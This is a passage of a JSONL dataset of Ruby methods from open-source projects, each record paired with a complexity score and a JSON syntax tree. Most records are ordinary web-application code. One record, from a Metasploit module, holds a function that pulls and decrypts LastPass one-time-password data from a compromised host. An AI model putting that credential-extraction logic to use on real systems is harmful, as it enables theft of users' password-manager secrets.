\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"str\",\"children\":[\"work_packages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"searchKey\"]},{\"type\":\"str\",\"children\":[\"subjectOrId\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"_select_1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"filter-value advanced-filters--ng-select\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"inline-label\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"box\"]}]}]}]}]}]}]}","id":"6764b357-47b1-4d23-bcf6-6c2204b91672"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/set_status_service.rb","start_line":43,"raw_source":"def status_cleared?\n params[:emoji].blank? &&\n params[:message].blank? &&\n (new_user_availability.blank? || new_user_availability == UserStatus.availabilities[:not_set])\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status_cleared?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emoji\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"blank?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_user_availability\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_user_availability\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStatus\"]},\"availabilities\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_set\"]}]}]}]}]}]}]}","id":"26645f0f-2c7b-4b73-b51b-7f7e8d030b4a"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":564,"raw_source":"def is_reply_by_email?\n via_email && post_number.present? && post_number > 1\n end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"is_reply_by_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"via_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_number\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_number\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"d730770c-01f3-4a14-b653-0ce182cc6428"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/components/versions/row_component.rb","start_line":77,"raw_source":"def wiki_page\n return \"\" if wiki_page_title.blank? || version.project.wiki.nil?\n\n helpers.link_to_if_authorized(wiki_page_title,\n controller: \"/wiki\",\n action: \"show\",\n project_id: version.project,\n id: wiki_page_title) || h(wiki_page_title)\n end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"project\"]},\"wiki\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"link_to_if_authorized\",{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]}]}]}]}]}","id":"ed48d7c1-5de4-4ad0-8be3-58d5bf32ad69"}
+{"repo_name":"liquid","file_path":"./repos/liquid/example/server/liquid_servlet.rb","start_line":14,"raw_source":"def handle(_type, req, res)\n @request = req\n @response = res\n\n @request.path_info =~ /(\\w+)\\z/\n @action = Regexp.last_match(1) || 'index'\n @assigns = send(@action) if respond_to?(@action)\n\n @response['Content-Type'] = \"text/html\"\n @response.status = 200\n @response.body = Liquid::Template.parse(read_template).render(@assigns, filters: [ProductsFilter])\n end","complexity_score":19.68,"ast_json":"{\"type\":\"def\",\"children\":[\"handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_type\"]},{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"path_info\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\w+)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"ivar\",\"children\":[\"@action\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@assigns\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"ivar\",\"children\":[\"@action\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"read_template\"]}]},\"render\",{\"type\":\"ivar\",\"children\":[\"@assigns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductsFilter\"]}]}]}]}]}]}]}]}","id":"a52409b1-2161-4f52-ac88-091908d22c09"}
+{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":705,"raw_source":"def test_assert_enqueued_with_with_no_block_with_global_id_args\n ricardo = Person.new(9)\n HelloJob.perform_later(ricardo)\n assert_enqueued_with(job: HelloJob, args: [ricardo])\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_with_with_no_block_with_global_id_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ricardo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]}]}]}]}]}]}","id":"0e61a86a-63c4-4a13-94fc-c46c68382350"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb","start_line":579,"raw_source":"def extract_otpbin(browser, username, lp_data)\n if browser.match(/Firefox|IE/)\n if browser == 'Firefox'\n path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'\n else # IE\n path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'\n end\n otpbin = read_remote_file(path) if file?(path) # Read file if it exists\n otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)\n return otpbin\n else # Chrome, Safari and Opera\n db = SQLite3::Database.new(lp_data['lp_db_loot'])\n result = db.execute(\n 'SELECT type, data FROM LastPassData ' \\\n \"WHERE username_hash = ? AND type = 'otp'\", OpenSSL::Digest::SHA256.hexdigest(username)\n )\n return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')\n end\n end","complexity_score":62.25,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_otpbin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"browser\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"lp_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"browser\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Firefox|IE\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"browser\"]},\"==\",{\"type\":\"str\",\"children\":[\"Firefox\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localstorage_db\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"system_separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"_ff.sotp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localstorage_db\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"system_separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".sotp\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"otpbin\",{\"type\":\"send\",\"children\":[null,\"read_remote_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^AQAAA.+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"otpbin\",{\"type\":\"send\",\"children\":[null,\"windows_unprotect\",{\"type\":\"lvar\",\"children\":[\"otpbin\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3\"]},\"Database\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lp_db_loot\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT type, data FROM LastPassData \"]},{\"type\":\"str\",\"children\":[\"WHERE username_hash = ? AND type = 'otp'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"blank?\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]}]}]}]}]}","id":"47caceb1-25f1-4d96-8866-d861d7e9fcbe"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/composer/package_finder.rb","start_line":33,"raw_source":"def packages_class\n if packages_composer_read_from_detached_table?\n ::Packages::Composer::Package\n else\n ::Packages::Composer::Sti::Package\n end\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packages_composer_read_from_detached_table?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Composer\"]},\"Package\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Composer\"]},\"Sti\"]},\"Package\"]}]}]}","id":"4c8ca164-25bd-4d8f-a683-b6c3b9f1721c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/namespaces/adjourned_deletable.rb","start_line":51,"raw_source":"def deletion_in_progress_or_scheduled_in_hierarchy_chain?\n self_deletion_in_progress? || scheduled_for_deletion_in_hierarchy_chain?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deletion_in_progress_or_scheduled_in_hierarchy_chain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_deletion_in_progress?\"]},{\"type\":\"send\",\"children\":[null,\"scheduled_for_deletion_in_hierarchy_chain?\"]}]}]}","id":"dd9588b0-f472-47f7-b9f4-f1f5937bbce3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/integrations/project_test_data.rb","start_line":77,"raw_source":"def releases_events_data\n release = ReleasesFinder.new(project, current_user, order_by: :created_at, sort: :desc).execute.first\n\n no_data_error(s_('TestHooks|Ensure the project has releases.')) unless release.present?\n\n release.to_hook_data('create')\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"releases_events_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"release\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReleasesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"execute\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"no_data_error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TestHooks|Ensure the project has releases.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"to_hook_data\",{\"type\":\"str\",\"children\":[\"create\"]}]}]}]}","id":"1ca13a0a-e3fa-4466-889d-ac9062be1c84"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/evented_file_update_checker.rb","start_line":115,"raw_source":"def start\n normalize_dirs!\n @dtw, @missing = [*@dtw, *@missing].partition(&:exist?)\n @listener = @dtw.any? ? Listen.to(*@dtw, &method(:changed)) : nil\n @listener&.start\n\n # Wait for the listener to be ready to avoid race conditions\n # Unfortunately this isn't quite enough on macOS because the Darwin backend\n # has an extra private thread we can't wait on.\n @listener&.wait_for_state(:processing_events)\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_dirs!\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dtw\"]},{\"type\":\"ivasgn\",\"children\":[\"@missing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@missing\"]}]}]},\"partition\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"exist?\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@listener\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Listen\"]},\"to\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"changed\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listener\"]},\"start\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listener\"]},\"wait_for_state\",{\"type\":\"sym\",\"children\":[\"processing_events\"]}]}]}]}","id":"f22681d5-2717-4f78-8583-eb79d3eaad48"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/users_mapper.rb","start_line":17,"raw_source":"def map\n strong_memoize(:map) do\n map = Hash.new { default_user_id }\n\n cached_source_user_ids.each_pair do |source_id, destination_id|\n map[source_id.to_i] = destination_id.to_i\n end\n\n map\n end\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"map\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"default_user_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_source_user_ids\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_id\"]},{\"type\":\"arg\",\"children\":[\"destination_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_id\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destination_id\"]},\"to_i\"]}]}]},{\"type\":\"lvar\",\"children\":[\"map\"]}]}]}]}","id":"5f2c851b-6e51-4a4e-aa98-cb32622918ef"}
+{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/products_controller.rb","start_line":222,"raw_source":"def update_status\n return if @new_status == @product.status\n return if cannot?(:activate, @product) && @new_status&.to_sym == :active\n\n event_to_fire = @product.status_transitions.find { |transition| transition.from == @product.status && transition.to == @new_status }&.event\n @product.status_event = event_to_fire if event_to_fire\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_status\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot?\",{\"type\":\"sym\",\"children\":[\"activate\"]},{\"type\":\"ivar\",\"children\":[\"@product\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_status\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"event_to_fire\",{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status_transitions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"transition\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"from\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"to\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@new_status\"]}]}]}]},\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_to_fire\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status_event=\",{\"type\":\"lvar\",\"children\":[\"event_to_fire\"]}]},null]}]}]}","id":"3bd6a297-732c-492e-884f-960a7fcf9552"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/des_cbc_md5.rb","start_line":119,"raw_source":"def decrypt_asn1(ciphertext, key, msg_type)\n result = decrypt(ciphertext, key, msg_type)\n padding_removed = truncate_nulls_after_asn1(result)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_asn1\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ciphertext\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"ciphertext\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"msg_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padding_removed\",{\"type\":\"send\",\"children\":[null,\"truncate_nulls_after_asn1\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"e74376b2-82e8-4c22-a3d3-1080c5160137"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_regexp.rb","start_line":240,"raw_source":"def test_parse_without_time_estimate_current_event_false\n text = \"tagomori_satoshi tagomoris 34\\n\"\n conf = {\n 'expression' => %q!/^(?[^ ]*) (?[^ ]*) (?\\d*)$/!,\n 'types' => 'name:string,user:string,age:integer'\n }\n d = create_driver(conf)\n d.instance.estimate_current_event = false\n d.instance.parse(text) { |time, record|\n assert_equal \"tagomori_satoshi\", record[\"name\"]\n assert_equal \"tagomoris\", record[\"user\"]\n assert_equal 34, record[\"age\"]\n\n assert_nil time, \"parser returns nil if configured so\"\n }\n end","complexity_score":18.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_without_time_estimate_current_event_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"tagomori_satoshi tagomoris 34\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expression\"]},{\"type\":\"str\",\"children\":[\"/^(?[^ ]*) (?[^ ]*) (?\\\\d*)$/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"types\"]},{\"type\":\"str\",\"children\":[\"name:string,user:string,age:integer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"estimate_current_event=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asser